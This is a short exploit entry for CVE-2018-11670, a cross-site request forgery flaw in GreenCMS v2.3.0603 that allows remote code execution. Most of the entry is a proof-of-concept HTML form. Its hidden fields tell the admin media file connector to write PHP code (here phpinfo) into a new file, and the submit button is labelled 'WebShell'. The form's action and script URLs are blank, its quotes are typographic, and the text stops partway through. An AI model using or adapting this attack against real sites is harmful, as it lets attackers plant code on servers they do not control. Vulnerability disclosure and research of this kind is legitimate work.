GreenCMS 2.3.0603 – Cross-Site Request Forgery / Remote Code Execution

# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability get webshell
# Date: 2018-06-02
# Exploit Author: xichao
# Vendor Homepage:
# Software Link:
# Version: v2.3.0603
# CVE : CVE-2018-11670

An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that
allows attackers to execute arbitrary PHP code via the content parameter to index.php?m=admin&c=media&a=fileconnect.


<span style=”font-size:18px;”><!DOCTYPE html>
<html lang=”en”>
<meta charset=”UTF-8″>
<form action=”” method=”POST” id=”transfer” name=”transfer”>
<script src=”″></script>
<input type=”hidden” name=”cmd” value=”put”>
<input type=”hidden” name=”target” value=”l1_eGMucGhw”>
<input type=”hidden” name=”content” value=”<?php phpinfo();?>”>
<button type=”submit” value=”Submit”>WebShell</button>


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